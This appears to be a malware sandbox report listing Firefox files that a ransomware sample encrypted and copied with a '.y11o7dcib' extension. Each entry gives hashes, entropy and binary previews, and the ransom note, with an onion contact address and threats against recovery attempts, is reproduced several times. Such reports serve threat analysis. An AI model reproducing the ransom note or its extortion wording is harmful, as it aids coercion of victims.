Preview:	..=.8.D].(>.z..6}N./....O.Q)..j.$..T..""...Y.VC.l...J....@............!..L.!This program cannot be run in DOS mode.$..PE..d......e.........."......$.....................@....................i.E.9.DY.">.~..}oE.-...GOMQ)..j.4..T..""...Y.VC.\|...J....@............g...h............P..t%......)......x...4........................k..(....@..8...........P...........@...................M. .M.D.<->.j..6YK./..GO.Q)..j.$..t..B.e.b-.VCX.....O....@..+.............@..@.data...p+... ......................@....pdata..t%...P...&..................@..@.00cfg..(............2..........c.E.y..wxZ[...J&}N./d..GM.Q).j.$..T.."".....V....w..$m...@._(......6...................tls.................8..............@....voltbl..............:...................rsrc................<..c.E.9.DY.(>.z.n..+.@...?K.Q);.j."..T..""...Y.VC.l....JJ...@....................................................................................................................................c.E.9.*DY.(>.z..6}N./...GO.Q)..j.$..T.."

C:\Program Files\Mozilla Firefox\fonts\TwemojiMozilla.ttf

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1474598
Entropy (8bit):	7.229614397909772
Encrypted:	false
SSDEEP:	24576:RGBmZFNXxRicJtV61kdLLH1IZ+x+jUaPdpYNHXxJ4Mtr6Db/cJ4NkWEXo0NuG:Vnls6naBYNhqMG0NB
MD5:	72D98E81D86D3C3BAAF3B55FF5216CE9
SHA1:	60470F3685F383CACFB7C3FE1BCF965392AC065F
SHA-256:	F487525A4E874ADF0100135BD85B862AFA4AA5E81D7545F67410879DA5A489F0
SHA-512:	538EFAED974F057D4CBD67A901A97A1F21CAA2E2169141D9593F5C2E018392599AAB2B38CE678C6DEF8E7D9940B8F0FEEE99F4B5B4D52180D2FB8509974DC9A6
Malicious:	false
Preview:	.cCE.)63..P..C..K..9R..-..?...s......i..UZ>..x..S.q....X,.'5....X....GSUB.w....x..otOS/24..........`cmap%A....m8....cvt ...D..y@....gasp............glyf$a.k..O....@head 7.........6hhea.rB.86g..P8.a..,...R.:u..Z....l....._i..q.&..i.R.E.5....p....h..<.....post......>...b........3...._.<..........y/.....y+............................................................5....;CE.871..P.....+.R.;....d}9.......i.....^.._...M.....j.......A.........PfEd...#...........[............... ...........................................................................bCE.873..P.....+.R.;....d\|........i....x^.._.F.E.M.....j.................................................................................................................................bCE.873..P.....+.R.;....d\|........i....x^.._.F.E.M.....j.................................................................................................................................bCE.873..P.....+.R.;....d\|........

C:\Program Files\Mozilla Firefox\fonts\TwemojiMozilla.ttf.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1474598
Entropy (8bit):	7.229614397909772
Encrypted:	false
SSDEEP:	24576:RGBmZFNXxRicJtV61kdLLH1IZ+x+jUaPdpYNHXxJ4Mtr6Db/cJ4NkWEXo0NuG:Vnls6naBYNhqMG0NB
MD5:	72D98E81D86D3C3BAAF3B55FF5216CE9
SHA1:	60470F3685F383CACFB7C3FE1BCF965392AC065F
SHA-256:	F487525A4E874ADF0100135BD85B862AFA4AA5E81D7545F67410879DA5A489F0
SHA-512:	538EFAED974F057D4CBD67A901A97A1F21CAA2E2169141D9593F5C2E018392599AAB2B38CE678C6DEF8E7D9940B8F0FEEE99F4B5B4D52180D2FB8509974DC9A6
Malicious:	false
Preview:	.cCE.)63..P..C..K..9R..-..?...s......i..UZ>..x..S.q....X,.'5....X....GSUB.w....x..otOS/24..........`cmap%A....m8....cvt ...D..y@....gasp............glyf$a.k..O....@head 7.........6hhea.rB.86g..P8.a..,...R.:u..Z....l....._i..q.&..i.R.E.5....p....h..<.....post......>...b........3...._.<..........y/.....y+............................................................5....;CE.871..P.....+.R.;....d}9.......i.....^.._...M.....j.......A.........PfEd...#...........[............... ...........................................................................bCE.873..P.....+.R.;....d\|........i....x^.._.F.E.M.....j.................................................................................................................................bCE.873..P.....+.R.;....d\|........i....x^.._.F.E.M.....j.................................................................................................................................bCE.873..P.....+.R.;....d\|........

C:\Program Files\Mozilla Firefox\fonts\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\freebl3.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	805594
Entropy (8bit):	7.250704144740102
Encrypted:	false
SSDEEP:	12288:swvgoLtF+e9j7VOJ1D1HmxCrc1u3lYoulR7nHgf21PZvve/pvva/SUKq4vPsuUIQ:waqe99Y1HI3u1YoulR7HNuvPs6X3w
MD5:	C2D32907FF94230134F7F2B07BB5F767
SHA1:	7497308A691F352AC68A86BB3D909849F9F0E645
SHA-256:	32055CE73C76539DF84ECD4D1F2998D595DE6DE1C284A1D6077B29DB81A65A94
SHA-512:	285CF45C1AFD01C78908362FC32B1BB119C0F7F56895CE8248BA1F94A788A46F9EB8FAC22A9FDAA84E9E99F52DBFB56AA9092B05BF1A902B7983FAF95D7D4C52
Malicious:	true
Preview:	...(.XeS[".7Ve...0.rcYc....^...C...rK2..0r!..g.t...R.d.^.9............!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....f...........g.................................).XeW...7Re..d.0.r..#....^...S...rK2.. r!..g.d...R.d.^.9d.......O...O...........x....`....... ...)..............................................8...............................................].XeQ?+.7Fe....0.vcY#....^...C...rKR..T.Ui.g.......d...9ta..............@..@.data....I..........................@....pdata.......`......................@..@.00cfg..(..........................i.X%y-M.C4....0..oY#....H...C...rK2..0r!..g.....R.d.].9t.......................@..@.reloc..............................@..B...................................................................).XeW[".7Ve...0.rcY#....^...C...rK2..0r!..g.t...R.d.^.9t......................................................................................................................................).XeW[".7Ve...0.rcY#....^...C...rK2

C:\Program Files\Mozilla Firefox\freebl3.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	805594
Entropy (8bit):	7.250704144740102
Encrypted:	false
SSDEEP:	12288:swvgoLtF+e9j7VOJ1D1HmxCrc1u3lYoulR7nHgf21PZvve/pvva/SUKq4vPsuUIQ:waqe99Y1HI3u1YoulR7HNuvPs6X3w
MD5:	C2D32907FF94230134F7F2B07BB5F767
SHA1:	7497308A691F352AC68A86BB3D909849F9F0E645
SHA-256:	32055CE73C76539DF84ECD4D1F2998D595DE6DE1C284A1D6077B29DB81A65A94
SHA-512:	285CF45C1AFD01C78908362FC32B1BB119C0F7F56895CE8248BA1F94A788A46F9EB8FAC22A9FDAA84E9E99F52DBFB56AA9092B05BF1A902B7983FAF95D7D4C52
Malicious:	false
Preview:	...(.XeS[".7Ve...0.rcYc....^...C...rK2..0r!..g.t...R.d.^.9............!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....f...........g.................................).XeW...7Re..d.0.r..#....^...S...rK2.. r!..g.d...R.d.^.9d.......O...O...........x....`....... ...)..............................................8...............................................].XeQ?+.7Fe....0.vcY#....^...C...rKR..T.Ui.g.......d...9ta..............@..@.data....I..........................@....pdata.......`......................@..@.00cfg..(..........................i.X%y-M.C4....0..oY#....H...C...rK2..0r!..g.....R.d.].9t.......................@..@.reloc..............................@..B...................................................................).XeW[".7Ve...0.rcY#....^...C...rK2..0r!..g.t...R.d.^.9t......................................................................................................................................).XeW[".7Ve...0.rcY#....^...C...rK2

C:\Program Files\Mozilla Firefox\gkcodecs.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	474330
Entropy (8bit):	7.415570241787066
Encrypted:	false
SSDEEP:	6144:7L2tWrdJ0/Yyrx7UYAxGuSu1/u9emwJXYe+4VaMuggN/+SFr9l59NVnMelwNJcI/:HF3u97LAIRvcXYgb0ESFr+NJ5j130K
MD5:	42BD650BC86AE311DA99F06CF440D1C9
SHA1:	1A160CC11B1AA494D3A23233F81A460885B80C4E
SHA-256:	F35BAD261FF095741D6FF710C81D95F2B289B62F9FED5908A32554F8D0117733
SHA-512:	720FBB000C5B4AB1987815A6D32E7C09A43254336346D6211F5A15632C8E57BB2FE697E38E0909F4FA58DADC4ECA699B532C614F9ED8437328B5943B74A657B2
Malicious:	true
Preview:	e:Y.d...~..<...&.`Av.....T=..J......@.cE.`...\|V1..l.lNG"..\........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....^..........`..............................."`!.e......<..M..`Cv~.....T=..J.......@.sE.`...lV1..l.lNGJ..\p................P...................)...`.......................................p..8.............................................D....."..<...x.`Ar......T=..J.....n..$}.....W1.i..OGZ..\............@..@.data...p...........................@....pdata..............................@..@.00cfg..(....0..................(`!.%......H....&.`A6......T7..J......@.cE.`....%C..l..oNGZ..\....................@..@.reloc.......`......................@..B................................................................(`!.e...~..<...&.`Av......T=..J......@.cE.`...\|V1..l.lNGZ..\................................................................................................................................(`!.e...~..<...&.`Av......T=..J......

C:\Program Files\Mozilla Firefox\gkcodecs.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	474330
Entropy (8bit):	7.415570241787066
Encrypted:	false
SSDEEP:	6144:7L2tWrdJ0/Yyrx7UYAxGuSu1/u9emwJXYe+4VaMuggN/+SFr9l59NVnMelwNJcI/:HF3u97LAIRvcXYgb0ESFr+NJ5j130K
MD5:	42BD650BC86AE311DA99F06CF440D1C9
SHA1:	1A160CC11B1AA494D3A23233F81A460885B80C4E
SHA-256:	F35BAD261FF095741D6FF710C81D95F2B289B62F9FED5908A32554F8D0117733
SHA-512:	720FBB000C5B4AB1987815A6D32E7C09A43254336346D6211F5A15632C8E57BB2FE697E38E0909F4FA58DADC4ECA699B532C614F9ED8437328B5943B74A657B2
Malicious:	false
Preview:	e:Y.d...~..<...&.`Av.....T=..J......@.cE.`...\|V1..l.lNG"..\........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....^..........`..............................."`!.e......<..M..`Cv~.....T=..J.......@.sE.`...lV1..l.lNGJ..\p................P...................)...`.......................................p..8.............................................D....."..<...x.`Ar......T=..J.....n..$}.....W1.i..OGZ..\............@..@.data...p...........................@....pdata..............................@..@.00cfg..(....0..................(`!.%......H....&.`A6......T7..J......@.cE.`....%C..l..oNGZ..\....................@..@.reloc.......`......................@..B................................................................(`!.e...~..<...&.`Av......T=..J......@.cE.`...\|V1..l.lNGZ..\................................................................................................................................(`!.e...~..<...&.`Av......T=..J......

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\clearkey.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	107226
Entropy (8bit):	7.150637590247893
Encrypted:	false
SSDEEP:	1536:Nyn0OvrsdWRK2rT7y9nCyBCB0EfCPDybBCtOlfF+H+WyjCqbjPMo3inFR6B:NbarsGTmCyBYIrybBC4X5Mo3iF8
MD5:	A188B5515926591F5FC73D25DDD67CFE
SHA1:	9DDBFA431F6E78304CD5DAD938D693672DBC4BD2
SHA-256:	0353D715B9D79EC928EF6B851928198CF3915B1F59A862792764563B13F4F65F
SHA-512:	06DA98C662505F36B468091AE9D6A2373A97DFAF2F3C9BF1B0F83BEC25B14EA3C5FF191B80225BD1C31B44D959F2478C67CFDC57FE7468458FAC88F7B3195C68
Malicious:	false
Preview:	A...KGs..u..T=...P....-..Y/..!..7.^2e.L..F2?......G.R.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....(...H...........................................KGw..u..T=o..P.d...-..Y/..!..7.N2e.L..V2?....../.R..N......KO..................$....x...)..........DL......................hH..(....A..8............S.............................."....KG.?.u..T=...P.....-..Y/.......z:S.oL..m2?......?.S.............@..@.data...`....p.......X..............@....pdata..$............`..............@..@.00cfg..(............j...............K.Ykn...:X...P.4....-.\|X/..!..7.^2e.L.32^L......?tS......n..............@....voltbl..............p...................rsrc................r..............@..@.reloc...............v.......KGw..u..T....P.....-..Y/..!..7.^2e.L..F2?......?.R......................................................................................................................................KGw..u..T=...P.....-..Y/..!..

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\clearkey.dll.sig

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.751498816781255
Encrypted:	false
SSDEEP:	48:PRcLZCKXQdmSTOEX7ye95JeLvvkTsypBS:P8Zzgdm6hWe95J+HkrS
MD5:	7645DDE20B78ACCE5FBA8066AB872293
SHA1:	70D68E4CA914C97C937C8CA3EE48777799EED4A9
SHA-256:	1F243E85BA68A03C4B5081BDDD3D4FEC858A2C281E4768E555CC295D2FF410A6
SHA-512:	F1891D8FD4FFD50B54A502EE176F7ADCDD099A574DF513818791FF1BD92CBFB3CA3C6970EE371CFA4E848C86B492F2B3B4BE9A6262B6DB114661D0224019CE34
Malicious:	false
Preview:	]......T.....L...9I:..IF.#.Dy~.\|..{...P`....T. .@...-G.[I!2zeF....U.\`...Md=u.cN...B.">aN.V7..9.cb...L..S..!.\|m..r)b=-4.fa........m.P.n.4l-..7......@XB#.?.../.\|j...1H.!..D.n\|..~9j+..\V'j....d.>V..2/4z.=....C.q92Y..l..{.../..O-.4..C.....,X>L.&am`.P..'.`...i.r..../a..y..KG]&.;...Q..V~..Pu.9..V.P...t k=nLZ.V.m..W..oK.zsi"\|.nF...C....\|.$W>..].}f...0B.8..L....r#>....da.w..l.^..e#....A..(h.Fr.`.......L...Q..dN(.^H...#:6..lx.8.@. )..T_......+..(...S.gC...#W9..l.s..y~..K...<.c.?....H.&.A..........6.NU.....`B...C...I.\|$m...5..W.&.,F.2.0.......{V...P..Z...Isd..U.../...-H...e.5."..w.]..T..H)@e....o.....8..Y&=i..Jr.O..N..G~.h.b.X...tV.'<4Kp5..V..Vg..U#..-.;>..\|..U..g...x.B.....`>..... ..&....ydC..v....5.B..Vg..A..e.&.md...L..,62j2.x....U."b'....M-.. HN.....%61J..>2.f./h'.....J......8M.......<....aO....#.t..\|w.c..6x.tM..>..._....T..m.?FJq@..!..p`R..A.`.....1S-.h..Q.Kh{'.m...H...o..'\|.1.*.].i.}..C..Zv.WO.#..p-....G}.wE...Yu.uV..hY}.E.<..^.1mZ..~.l.y.\\...

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\clearkey.dll.sig.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	7.751498816781255
Encrypted:	false
SSDEEP:	48:PRcLZCKXQdmSTOEX7ye95JeLvvkTsypBS:P8Zzgdm6hWe95J+HkrS
MD5:	7645DDE20B78ACCE5FBA8066AB872293
SHA1:	70D68E4CA914C97C937C8CA3EE48777799EED4A9
SHA-256:	1F243E85BA68A03C4B5081BDDD3D4FEC858A2C281E4768E555CC295D2FF410A6
SHA-512:	F1891D8FD4FFD50B54A502EE176F7ADCDD099A574DF513818791FF1BD92CBFB3CA3C6970EE371CFA4E848C86B492F2B3B4BE9A6262B6DB114661D0224019CE34
Malicious:	false
Preview:	]......T.....L...9I:..IF.#.Dy~.\|..{...P`....T. .@...-G.[I!2zeF....U.\`...Md=u.cN...B.">aN.V7..9.cb...L..S..!.\|m..r)b=-4.fa........m.P.n.4l-..7......@XB#.?.../.\|j...1H.!..D.n\|..~9j+..\V'j....d.>V..2/4z.=....C.q92Y..l..{.../..O-.4..C.....,X>L.&am`.P..'.`...i.r..../a..y..KG]&.;...Q..V~..Pu.9..V.P...t k=nLZ.V.m..W..oK.zsi"\|.nF...C....\|.$W>..].}f...0B.8..L....r#>....da.w..l.^..e#....A..(h.Fr.`.......L...Q..dN(.^H...#:6..lx.8.@. )..T_......+..(...S.gC...#W9..l.s..y~..K...<.c.?....H.&.A..........6.NU.....`B...C...I.\|$m...5..W.&.,F.2.0.......{V...P..Z...Isd..U.../...-H...e.5."..w.]..T..H)@e....o.....8..Y&=i..Jr.O..N..G~.h.b.X...tV.'<4Kp5..V..Vg..U#..-.;>..\|..U..g...x.B.....`>..... ..&....ydC..v....5.B..Vg..A..e.&.md...L..,62j2.x....U."b'....M-.. HN.....%61J..>2.f./h'.....J......8M.......<....aO....#.t..\|w.c..6x.tM..>..._....T..m.?FJq@..!..p`R..A.`.....1S-.h..Q.Kh{'.m...H...o..'\|.1.*.].i.}..C..Zv.WO.#..p-....G}.wE...Yu.uV..hY}.E.<..^.1mZ..~.l.y.\\...

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\clearkey.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	107226
Entropy (8bit):	7.150637590247893
Encrypted:	false
SSDEEP:	1536:Nyn0OvrsdWRK2rT7y9nCyBCB0EfCPDybBCtOlfF+H+WyjCqbjPMo3inFR6B:NbarsGTmCyBYIrybBC4X5Mo3iF8
MD5:	A188B5515926591F5FC73D25DDD67CFE
SHA1:	9DDBFA431F6E78304CD5DAD938D693672DBC4BD2
SHA-256:	0353D715B9D79EC928EF6B851928198CF3915B1F59A862792764563B13F4F65F
SHA-512:	06DA98C662505F36B468091AE9D6A2373A97DFAF2F3C9BF1B0F83BEC25B14EA3C5FF191B80225BD1C31B44D959F2478C67CFDC57FE7468458FAC88F7B3195C68
Malicious:	false
Preview:	A...KGs..u..T=...P....-..Y/..!..7.^2e.L..F2?......G.R.........!..L.!This program cannot be run in DOS mode.$..PE..d......e.........." .....(...H...........................................KGw..u..T=o..P.d...-..Y/..!..7.N2e.L..V2?....../.R..N......KO..................$....x...)..........DL......................hH..(....A..8............S.............................."....KG.?.u..T=...P.....-..Y/.......z:S.oL..m2?......?.S.............@..@.data...`....p.......X..............@....pdata..$............`..............@..@.00cfg..(............j...............K.Ykn...:X...P.4....-.\|X/..!..7.^2e.L.32^L......?tS......n..............@....voltbl..............p...................rsrc................r..............@..@.reloc...............v.......KGw..u..T....P.....-..Y/..!..7.^2e.L..F2?......?.R......................................................................................................................................KGw..u..T=...P.....-..Y/..!..

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	6.758686094140714
Encrypted:	false
SSDEEP:	12:OeE9J45TkchInyRG1zUmXB3x7yx/i5QtFfi/PLh0jmgVS:OenecSniAzUIB3xDQFK/PdkmQS
MD5:	F28458E15690DDD5360B57F54C6D8BA2
SHA1:	BAAEDC95305A7B50E7B265A5184BD8FC357E324B
SHA-256:	FA41926374E96C0A56C481DB402C2A53B646279664B545520ABEACA267DCCB17
SHA-512:	716EC8341DA118E7A74E90756CA464547E599CEDDD2E51605340D061DA6892A8FD558BEFA3546032FDB1720E1B0D83B5651E4AE245DE74062826D59E067F7B8A
Malicious:	false
Preview:	..hI...;<..v?-..7.Y......rZ...;.......<....!....r....m..z2........h9.U.<3..^%-..y.]......BZ...5.N...H.e....v...r...g.9q".Q.....hI...-p..9(d..>.^...X.K..Z.Hj.T...Z.dkP.;....s....g.{i4..N...": "10",. "x-cdm-codecs": "avc1".}.......yO..,...='..J\h.>..(.E.......eQ3.Q..y...D.....T..PQ........Y.j...\|..c...1...-.......z..USEw...-5{Em.8..,/.z.........W\.B.[.De.(.......q+'.*..Dlk.....m.`&....8..s....d.p.V...."....g..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\manifest.json.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	543
Entropy (8bit):	6.758686094140714
Encrypted:	false
SSDEEP:	12:OeE9J45TkchInyRG1zUmXB3x7yx/i5QtFfi/PLh0jmgVS:OenecSniAzUIB3xDQFK/PdkmQS
MD5:	F28458E15690DDD5360B57F54C6D8BA2
SHA1:	BAAEDC95305A7B50E7B265A5184BD8FC357E324B
SHA-256:	FA41926374E96C0A56C481DB402C2A53B646279664B545520ABEACA267DCCB17
SHA-512:	716EC8341DA118E7A74E90756CA464547E599CEDDD2E51605340D061DA6892A8FD558BEFA3546032FDB1720E1B0D83B5651E4AE245DE74062826D59E067F7B8A
Malicious:	false
Preview:	..hI...;<..v?-..7.Y......rZ...;.......<....!....r....m..z2........h9.U.<3..^%-..y.]......BZ...5.N...H.e....v...r...g.9q".Q.....hI...-p..9(d..>.^...X.K..Z.Hj.T...Z.dkP.;....s....g.{i4..N...": "10",. "x-cdm-codecs": "avc1".}.......yO..,...='..J\h.>..(.E.......eQ3.Q..y...D.....T..PQ........Y.j...\|..c...1...-.......z..USEw...-5{Em.8..,/.z.........W\.B.[.De.(.......q+'.*..Dlk.....m.`&....8..s....d.p.V...."....g..............................................................................................29yp10v5m8k.

C:\Program Files\Mozilla Firefox\gmp-clearkey\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:	24:F6SGOzWKJa3wmvOCYj1C1PpiyE/xVHpmjxNkX0lOhA5:VGOzW6NmBRNsxV0jVOK5
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Mozilla Firefox\install.log

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25296
Entropy (8bit):	5.430217139376386
Encrypted:	false
SSDEEP:	384:MfGjYCD9OjjMdCy1ur9L/WhMDOPdYfl3UHtw3fY6cNjh/J12sD:GGBQMwkI7Oe+9hh0sD
MD5:	154D69C8EFA4A9E269661E0DE5C7FE08
SHA1:	B8A7D0B6CFD49C67AB627B8A87081DD2B1848B85
SHA-256:	B02B10896D66A560939A6F899EEF4CF810F5396B56B7430A33171BD2DCE489A2
SHA-512:	DAED29E6E731658F4EC2E9CD25B8305992112B12AF782BDF6293DC42552BBE0A68A70B3249FB2AAADE37413A7DFFB68A00D97DEBADFAE74275EA1A95B4E8C61A
Malicious:	false
Preview:	.N..2.f,.......M.......^:..`Z..^.].V.n[..?lZ...~5......W....a.r.t.e.d.:. .2.0.2.3.-.1.0.-.0.3. .1.1.:.5.9.:.5.6.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-....p.1,..Q......M.......:C.5Z..:.....7[.~l...'5B._.T.Z.n...-.-.-.-.-.-.-.-.-.-.-.........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-....p.1,..Q......M.......:C.5Z..:.....7[.~l...'5B._.T.Z.N...I.n.s.t.a.l.l.a.t.i.o.n. .D.e.t.a.i.l.s.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-....p.1,..Q......M.......:C.5Z..:.....7[.~l...'5B._.T.Z.n...-.-.-.-.-..... . .I.n.s.t.a.l.l. .D.i.r.:. .C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.o.z.i.l.l.a. .F.i.r.e.f.o.x..... . .L.o.c.a.l.e....}.<,..F.....M......2:N.8Zh.g.C...L[..!lE...e5..H.Y.F.r.....0...1..... . .G.R.E. .V.e.r.s.i.o.n.:. .1.1.8...0...1..... . .O.S. .N.a.m.e. . . . .:. .W.i.n.d.o.w.s. .1.0..... . .T.a.r.g.e.......L,.\......M......5:d.5Z..:.....

C:\Program Files\Mozilla Firefox\install.log.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25296
Entropy (8bit):	5.430217139376386
Encrypted:	false
SSDEEP:	384:MfGjYCD9OjjMdCy1ur9L/WhMDOPdYfl3UHtw3fY6cNjh/J12sD:GGBQMwkI7Oe+9hh0sD
MD5:	154D69C8EFA4A9E269661E0DE5C7FE08
SHA1:	B8A7D0B6CFD49C67AB627B8A87081DD2B1848B85
SHA-256:	B02B10896D66A560939A6F899EEF4CF810F5396B56B7430A33171BD2DCE489A2
SHA-512:	DAED29E6E731658F4EC2E9CD25B8305992112B12AF782BDF6293DC42552BBE0A68A70B3249FB2AAADE37413A7DFFB68A00D97DEBADFAE74275EA1A95B4E8C61A
Malicious:	false
